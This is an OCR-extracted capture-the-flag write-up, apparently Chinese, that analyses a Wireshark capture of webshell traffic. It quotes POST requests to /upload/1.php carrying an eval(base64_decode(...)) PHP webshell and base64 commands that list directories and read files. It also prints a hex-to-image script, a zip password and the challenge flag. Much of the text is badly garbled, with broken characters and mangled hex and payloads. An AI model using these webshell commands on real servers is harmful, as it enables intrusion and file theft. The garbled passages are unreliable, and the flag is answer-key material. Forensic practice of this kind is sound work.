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1. ITFEESIE post R, KRI—ALFTEER

M 666666.pcapng - o X

) REE) WE(Y) BEG) MERQ) HIA) SHS) mIEY) Faw) TR =H)

am @® RE Q &= A Q Q &

(A [http contains “POSTY B - #ist- |+

Te. Tine Source Destination Protocel  Lensth Info
180 8.260686231  192.168.25.128 192.168.43.83 HTTP 729 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
187 8.486797464  192.168.25.128 192.168.43.83 HTTP 779 POST fupload/1.php HTTP/1.1 (application/x-wwu-form-urlencoded)
192 8.581128299  192.168.25.128 192.168.43.83 HTTP 779 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
259 10.374211302 192.168.25,128 192.,168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
267 10.393175840 192.168.25.128 192.168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
327 12.322104301 192.168.25.128 192.168.43.83 HTTP 769 POST /upload/1.php HTTP/1.1 (application/x-wwu-form-urlencoded)
334 12.345187102 192.168.25.128 192.168.43.83 HTTP 769 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
417 15.454279936  192.168.25.128 192.168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-ww-form-urlencoded)
421 15.457715185 192.168.25.128 192.168.43.83 HTTP 771 POST fupload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
632 26.234424701 192.168.25.128 192.168.43.83 HTTP 777 POST /upload/1.php HTTP/1.1 (application/x-wwu-form-urlencoded)
636 26.235493933 192.168.25.128 192.168.43.83 HTTP POST7uptoad/ T phpHTTP/ I T (apptication/x=waw=form=urtercodedy
1068 46.424268958 192.168.25.128 192.168.43.83 HTTP 5033 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
1148 50.138903657 192.168.25.128 192.168.43.83 HTTD POST fupload/1.php HITP/1.1  (application/y-w-form-urlancadad)
1272 64.311007317 192.168.25.128 192.168.43.83 HTTP 779 POST /upload/1.php HTTP/1.1 (application/x-wwu-form-urlencoded)
1278 64.340577552 192.168.25.128 192.168.43.83 HTTP 779 POST fupload/1.php HTTP/1.1 (application/x-wwu-form-urlencoded)
1312 65.540581383 192.168.25.128 192.168.43.83 HTTP 777 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

Frame 1068: 5033 bytes on wire (40264 bits), 5033 bytes captured (40264 bits) on interface @

Ethernet II, Src: Vmware_21:b8:f4 (00:50:56:21:b8:f4), Dst: Vmware_f5:c2:5f (00:50:56:f5:c2:5f)

Internet Protocol Version 4, Src: 192.168.25.128, Dst: 192.168.43.83

Transmission Control Protocol, Src Port: 47856, Dst Port: 80, Seq: 200260, Ack: 1, Len: 4979

[51 Reassembled TCP Segments (205238 bytes): #883(239), #884(4388), #885(4380), #893(4380), #894(4380), #896(4380), #897(4380), #906(2920), #909(1460), #910(2920), #914(292@), #916(2920), #
Hypertext Transfer Protocol

HTML Form URL Encoded: application/x-www-form-urlencoded

TRANSUM RTE Data

@0 50 56 5 c2 5 @0 50 56 21 b8 f4 @8 00 45 @0 PV--_-P V! E
13 9b 15 d2 40 00 40 06 4b 67 cO a8 19 80 cO a8 @@ Kg I
2b 53 ba fo @@ 50 6f 4d dc 2e 77 9b 34 c6 50 18 +5 PoM - .w-4-P
72 10 d9 bl @0 ©0 44 36 42 46 43 41 31 41 44 33 r D6 BFCA1AD3
33 46 45 42 32 45 33 46 45 43 31 37 30 46 46 30 3FEB2E3F EC170FF@
30 45 38 33 30 35 36 31 33 42 44 A4 A5 42 A1 32 BE830561 3BDDEBA2
39 36 44 45 38 45 44 41 37 36 46 38 37 45 35 45 96DEBEDA 76F87ESE
45 46 34 38 41 34 46 34 36 44 A5 39 45 37 46 A5 EFA8AAFA 6DESE7FE
35 30 44 46 42 46 46 30 30 31 33 35 45 46 45 46 S5ODFBFFO ©135EFEF
Frame (5033 bytes) Reassenbled TCP (205238 bytes)

O 7 5e6666. poapng A4: 2139 - ERT: 20 (0.9%) Profile: Default

2. AR ERhttp F

M 566666.pcapng - s} X
R WEE) WAV BEEG) MERO) STA) HH(S) EE(Y) REW) IR FEEH)
dm ® RE ] &= A= aqQafE
[A]http containe "POST” HED -] ®AR-
No. Tine Source Destination Protocol  Length Info

180 8.260686231  192.168.25.128 192.168.43.83 HTTP 729 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

187 8.486797464  192.168.25.128 192.168.43.83 HTTP 779 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

192 8.581128299  192.168.25.128 192.168.43.83 HTTP 779 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

259 10.374211302 192.168.25.128 192.168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

267 10.393175840 192.168.25.128 192.168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

327 12.322104301 192.168.25.128 192.168.43.83 HTTP 769 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

334 12.345187102 192.168.25.128 192.168.43.83 HTTP 769 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

417 15.454279036 192.168.25.128 192.168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

421 15.457715185 192.168.25.128 192.168.43.83 HTTP 771 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)

632 26.234424701 192.168.25.128 192.168.43.83 HTTP 777 POST /upload/1.php HTTP/1.1 (application/x-www-form-urlencoded)
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UL ZU.£30835935  1¥Z.108.23.1s0 19s.100.43.05 e 774 FUST JUpLUAUs L.pHp MEIF/ 1.1 QapPLItatiuig ASWNw 1 UL IS UL Leniuuey

1068 46.424268958 192.168.25.128 192.168.43.83 HTTP 5033 POST /upload oo muwmm simny  Culem ww-form-urlencoded)
1148 50.138903657 192.168.25.128 192.168.43.83 HTTP 777 POST /upload  mpe mrucans sim) Ctl+D kw-form-urlencoded)
1272 64.311007317 192.168.25.128 192.168.43.83 HTTP 779 POST /upload  pmmusemprEes  CuleT kw-form-urlencoded)
1278 64.340577552 192.168.25.128 192.168.43.83 HTTP 779 POST /upload  gyigepee CtrleShiftsT #W-form-urlencoded)
1312 65.540581383 192.168.25.128 192.168.43.83 HTTP 777 POST /upload g Ctlsaltsc  w-form-urlencoded)
> Frame 1068: 5033 bytes on wire (40264 bits), 5033 bytes captured (40264 bits) on interface
> Ethernet IT, Src: Vmware 21:b8:f4 (00:50:56:21:b8:f4), Dst: Vmware f5:c2:5f (08:50:56:f5:c2  {EAITiEENTA i
> Internet Protocol Version 4, Src: 192.168.25.128, Dst: 192.168.43.83 HEEITIERE ’
> Transmission Control Protocol, Src Port: 47856, Dst Port: 80, Seq: 200260, Ack: 1, Len: 497 XSSk ’
> [51 Reassembled TCP Segments (205238 bytes): #883(239), #884(4380), #885(4380), #803(4380), NIAEE > B), #906(2920), #909(1460), #916(2920), #914(2920), #916(2920),
> Hypertext Transfer Protocol Scrp >
> HTML Form URL Encoded: application/x-www-form-urlencoded BRI ] TP culvalteshifteT
> TRANSUM RTE Data =5 5 UDP#  Ctrl+Alt+Shift+U
e . SSL  Ctrl+Alteshift+s i
@0 50 56 f5 c2 5T @0 50 56 21 bg f4 @8 @8 45 86  PV--_-P E- EERA... [ HTTPR  culeAlesshiftH [
15 d2 40 00 40 @6 4b 67 c@ a8 19 80 @ a8 - --@-@- . EEEOSTAEW) [
ba fo @0 5e 6f 4d dc 2e 77 9b 34 6 50 18  +S---PoM -.w-4-P-
do bl @0 0@ 44 36 42 46 43 41 31 41 44 33 r-----D6 BFCALAD3
45 42 32 45 33 46 45 43 31 37 30 46 46 30  3FEB2E3F EC170FF0
38 33 20 35 36 31 33 42 44 44 45 42 41 32 QES30561 3BDDEBA2
44 45 38 45 44 41 37 36 46 38 37 45 35 45  96DESEDA 76F87ESE
34 38 41 34 46 34 36 44 45 39 45 37 46 45  EFA8AAF4 GDE9E7FE
44 46 42 46 46 30 30 31 33 35 45 46 45 46 SODFBFFO @135EFEF
Frane (5033 bytes) Reassenbled TCP (205238 bytes)
O 7 #RAAAA. ncanne I 448: 2120 - PEm: 20 (0.0%) [l Profila: Defanl
N
3. RIFLz18&22, H AR
A M \ireshark - 188 HTTP 5% (tcp.stream eq 7) - 666666.pcapng - o X
P ) % & Q @ = { POST /upload/1.php HTTP/1.1
(W[icp.strean e 7 User-Agent: Java/1.8.0_151 - BE T

. —— Host: 192.168.43.83 -
to- Tine Sour e Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2

1053 46,422691448 192.168.¢ Connection: keep-alive

1654 46.423574335 102.1683 Content-type: application/x-www-form-urlencoded

1655 46.423505950 102.168.4 Content-Length: 204999

1056 46.423604355 192.168.¢

1657 46.423609555 192.168.: aa=@eval.

1058 46.423616906 192.168.. (base64 decode($_POST[action]));&action=QGluav9zZXQoImRpc3BsYX1fZXJyb31zIiwiMCIp0@BzZXRfdG1tZV9saWlpdCgwKTtAC2VexX21hz21jX3
1050 46.423623875 192.168.. F1b3R1c19ydwSeaw11KDApO2VjaG8oIie%2BfCIpozskzj1iYXNINFRTZGVib2R1IKCRFUESTVFsie EiXSk7IGMITFIQTINUMYI6MIIdOYRIPXNAC19yZXBSYI
1060 46.42362957@ 102.168.: MN1KCIcciIsIiIsIGMpOYRJPXNOC1OyZXBSYWN1KCIchiIsTilsIGMpOYRidWYOTiI7ZmoyKCRpPTA7IGk8C3RYbGVUKCRIKTskassOMikkynvmLj1lcmxkZWhy
GUOTiUiLnNIYaNacigkyywkasuykskzZunobyhazndyaXR1KG7vcGYUKCRMLCI 3Tiks16I171k%2FTjE101i TwT1k702VjaG8oInw8LS IpO2RpZSgpOW%3D
%3D&z1=RDpcd2FtcDYOXHA3d1X1cGXVYWRCNIY2NiSacGe

%3D&zJ=FFDEFFEOOPT0AAA6451600010161007 860 DEG0A30001010101010101010101010101010101010101010101010101010101010101010
101010101010101010101010101010101010101010101010101610101010101FFDBe043010101010101010101010101010101010101010101010101010
1010101010101010101016101010101010101010101010101010101016101010101010101010101FFCEE01108013901E203012200021101031101FFC40

1061 46.423636259 192 [T68.7
1062 46.423646731 192.
1063 46.423652779 192.14
1064 46.423823583 192.14
1065 46.424212601 192.14

bled PDU]

01F00000105010101010101 102030405061 FFCA00B5100002010303020403050504040000017D0102030004110512213
1066 46.424246263  192.1¢ 1410613516107227114328191A108234281C11552D1F02433627282090A161718191A25262728292A3435363738393A434445464748494A53545556575
1067 46.424254522  192.1¢ 8595A636465666768696A737475767778797A83848586! 293949596 2A3A4ASA6A7ABAIAAB2B3BAB5B6B7B8BIBAC2C3CACSCHCTCEC

9CAD2D3DADSD6D7D8DIDAELE2E3EAESE6E7EBEOEAF1F 2F 3FAF SF6F7F 8FOFAFFCA001F@1000301010101010101010100000000000001020364050607080
90AGBFFC400B51100020102040403040705040400010277000102031104052131061241510761711322328108144291A1B1C109233352F0156272D10A1 | e
62434E125F11718191A262728292A35363738393A434445464748494A535455565758595A636465666768696A737475767778797A82838485868788898 |

A92939495969798999AA2A3A4A5AGATASAIAAB2B3BAB5BEB7BEBIBAC2C3CAC5C6C7CBCICAD2D3DADSDED7DEDIDAE 2E3EAESEGETEBEQEAF 2F 3FAF SF6F7F
8FOFAFFDAQ@OC03010002110311003F00FC18823DBI07EG2481211D6493F86143D914E012BCFSE30056C4310192E7DOCCAOEFFC30478E3BADFFOOFDSF3
52DA3DBBOAFO769F2C1FFOO964839699CF3866CIC11CF719E33AD6F 1B7C840EBO30AB71C672D7327BAC1DIOECE632179F FAOASCT SF376F FRO2FBIDFADY
Transmission Control Protofol  pegsneeeDFES6D79EFADBB3DIABSBEAACISFB69DSA55EDC28724CIC703CD23BDBIFCIOATF523AE 3DAF6539D8B632EAEED1 3080CAS7FESBCSFCI1A7FD34
[51 Reassembled TCP Segments  933r377E7DCDS4B78F714DAGBOO711038FODC7DFODFFDOSE703FAGEADOS101D8AS3702F F20F FOED3779187FCF34301CF5F530AF568C36EFDF7BAD36F 58 2920), #914(2920), #916(2920), #

1068 46.424268958 192.1@

Frame 1068: 5033 bytes on lir
Ethernet II, Src: Vmware 21:b
Internet Protocol Version 4,

Hypertext Transfer Protoco ‘ BDBBESF146DE3D79FADDAFBAFA2F93D1EFA2B35B4657B90A6428036314F7C5BC1F967CC7DDCF7391D@B1C6CDBA6DOBB70A4292B9FF963177918FF@OCF4
HTML Form URL Encoded: applic 7E3033B88C6324A8AAB020551D24F9B1EF7336781D4131A13C738C7BB606BDBCA064B82FFOO30DFSER34BD5635C7F@21C671DBABCIA35EAS28EDESGFFO
TRANSUM RTE Data ©87D3F357B745A42FEA566B5F3EFADB656B3F 5B5BAECDABDA65BB78CFC85540620B421B811A1FBD7327FB47036E4F5EA7DDAAD7B78F732141F2AFFA856

EE73FBCB993BOC6D2573C63D81354E14C96DDF 32EE5F39971FBCY06365B45D72A300311C71E8A2B6A353921B19E3CERSFELS1F72DA3C74E@61BOFACY3F
74E7D6A11DBAED7B697DBEEAADD3E1B6975047 8DSASABDEFAT E76F ABEEBD6FADSCED1B70A9F 9047 F 30DC7CIS6E3CDIO7OF 3B8FEEASFBBBBD30790DSA70 _—
€61400079997C2E7ADCCFDOBICIE638B2703EEFA9059B15E24DBB830D8DB479CA7FCB284E36CO80E7E77380D9FA1CE18D694319272C446760DDD48B780
FO101EF2CBIC63A9CF62C71D96D52D36DBB256F SB7CF6B59E91AB9FODDEBAESDAEFEF6D677SBEFBADEF74BDEA76B3146A796CBA87191D4DCDC765F6893
39EA3D7A30AD2452C4863B81606661F F 2DASFE18131D634E99E871C7FO5578D1890061095C8E9FEBD6FIES88FFIEB27FDFA739C7231A50AE31B1761DA7
C90DD228BFBE77E9991F 1F29FCBB36D633FSBEBEDR7DBBBBBED67D1DIFCS3B1DADEF CBSF77B2E8F5D34D2F 1D234D132A80AE1B9191F6865C7CEFI1ESDA
et C479090C@ODBE383D768274228F EF997E5F957CF2BFCABOFCI6B1OE992061B1C7639C1CD6817E68DIZESCO26DDSBE3681FEB2EESE31938FI7FAER56944
30 36 44 45 38 45 44 41 | HE 069, 2 EFH S 2 REE AL I ruals). AFRA.
A5 46 34 38 41 34 46 34 Entire conversation (206 kE) v RRMFEHED AscIT -
35 30 44 46 42 46 46 30
Frame (5033 bytes)  Reassebled TGP |
O 7 eo6866. pcapng

@0 50 56 5 5
13 9b 15 d2 ]
2b 53 ba fo @0 50 6 4
3
4
3

72 10 d9 bl o0 00 44
33 46 45 42 32 45 33

ilin TED Save as™

-

{c] Close Help Profile: Default

4. RMEEHEL—T4R, 6666jpg —7KE

PS C:\Users\29594\Desktop> php
PHP Warning: Module 'mysqli' already loaded in Unknown on line @

Warning: Module 'mysqli' already loaded in Unknown on line @
D: \wamp6d\www\upload\6666.jpg
PS C:\Users\29594\Desktop> |

5. THKIMNIZHZ16 HEHIFEE T T

Q = ”16&%””
import binascii

out=open('2.jpg', 'wb’

out.write(binascii.unhexlify(s
out.close
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GEER

IBERIL9, RN KIS

X

[[tep. strean eq 8

To.

Time
1267 64.302851711
1268 64.302923966
1270 64.305914240
1271 64.310866803
1272 64.311007317
1275 64.328153681
1280 64.344011051
1281 64.344034975
1316 65.568749653
1217 65.572168037
1318 65.572345418
1319 65.574743505
1320 65.582424279
1221 65.582537301
1363 70.296146397
1364 70.296720850

.168.1

.168.4
.168.4
.168.]
.168.1
.168.]

M Vireshark - 18X HTTP 5% (tcp.stream eq 9) - 666666.pcapng - o

Server: Apache/2.4.23 (Win64) PHP/5.6.25
X-Powered-By: PHP/5.6.25
Content-Length: 221

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

=>./ 2017-12-08 11:42:11 [ 0777
-/ 2017-12-08 11:39:10 4096 0777
1.php 2017-12-08 11:33:16 33 0666
6666.jpg 2017-12-08 11:42:11 182226 0666
flag.txt 2017-12-08 11:35:29 17 0666
hello.zip 2017-12-08 09:32:36 224 0666

|<-POST /upload/1.php HTTP/1.1

User-Agent: Java/1.8.0_151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 371

1

Frame 1364: 425 bytes on wire
Ethernet II, Src: vmware_21:b
Internet Protocol Version 4,
Transmission Control Protocol
[2 Reassembled TCP Segments (
Hypertext Transfer Protoco:
HTML Form URL Encoded: applic|
TRANSUM RTE Data

00
o1
2b
ge
62
50
61
58
58

80

50
9b
53
94
61
af
63
51
4a

56
51
ba

5
87
fa
b1
65
54
69
49
62

c2
40
00
00
36
Sb
6f
6d
33

5f
00
50
00
34
61
6e
52
4a

2]
40
8c
61
5f
63
3d
70
7a

Frane (425 bytes)
O 7 ©66666. pcapng

Reassembled TCF (|

(CER T e CI o € M I S Tl ) PP Ela S el 0G 1 uaVozZXQo ImRpe 3B s YX1FZXIyb31z1iwiMCIp0@BzZXRFdG1tZVIsaWlpdCgwK TtAC2VOX21hz21 X3
F1b3R1c19ydW50aW11KDAPO2VjaG80I1i0%2BfCIp0zskRj11¥XNINjRFZGVjb2RIKCRFUEOTVFsiejEiXSk7JFA9QGZVCGVUKCRGLCIYIik7ZIWNobyhAZn] T
00IFAsZml sZXNpemUod EYpKSk7QGZjbG9zZSgkUCk702V] aGE InwLSTpO2RpZSgp o3l
%3D&z1=RDpcd2FtcDYOXHA3d1x1CcGXVYWRCAGY sbGauemlwi IV M=o N4

Date: Fri, @8 Dec 2017 11:42:31 GMT

Server: Apache/2.4.23 (Winé4) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 230

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: text/html; charset=uTF-8

->|PK RN (o JRY: DR (P flag.txtC...... cS...J..Ea.v....8e$K..2%..$. =.3..1p. .pA6.PK. .2 unnns KQ...4...
( .flag.txt
5 L02.P.. .02.P. . PKeeeiiinn. Z.oZouu.. well,you need L<-
A
HE 1367, 3 EOR AL 3 BAE AL 5 ruen (=) TEAHE
Entire comnversation (6834 hytes) 2 BRANREHER ASCII
o] TER Save as™ RE Close Help

led PDU]

ssembled PDU]

assembled PDU]

|| Profile: Default

fRE—T, RIM—NzipXfF,

PHP Warning:

Module 'mysqli' already loaded in Unknown on line @

Warning: Module 'mysqli' already loaded in Unknown on line @

_set("display_er

fopen($F,"r");echo(@fread($P,filesize($F)));@Fclose($P);;echo("|<—");die();
\upload\hello.zip

mp64d\ww
S C:\Users\29

94\Desktop>

rors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=-baseb6d_decode($_POST["z1"




FATE A binwalk 435
flag 7E15B561.zip B.TH

N (EmeE IIl = Shell ... [Shell.. [} _666.. 04:13F& ¥ & ¢~
_666666.pcapng.extracted - MR

MfH(F) fRIB(E) ME(V) ¥ENG) FBENH)

™ B /root/ F §%/_666666.pcapng.extracted/

12E66D 12E66D.xz  12EF69  12EF69.xz | 15B56l.zip | 153BCB  153BC

1541AB  1541AB.xz  1576B7 1576B7xz  AlE2D

AlE2D.xz A21ED A21ED.xz C6BB1 CeBBl.xz C63F9 C63F9.xz

o mmes .

flag.txt

224~IME:13.0 MiB (13,618,290 = 71), "TA% [ : 32.7 GiB

il 2 B 2 I U R 5 B R
Th1s_1s_p4sswd_!!!

| B flag.txt - ig=A
) \EE)  EI0) WE(\V)  FEEIH)
flag{30pWdJ-JP6FzK-koCMAK-VkfWBqg-75Un2z}

flag{30pWdJ-JP6F zK-koCMAK-VKWBq-75Un2z}
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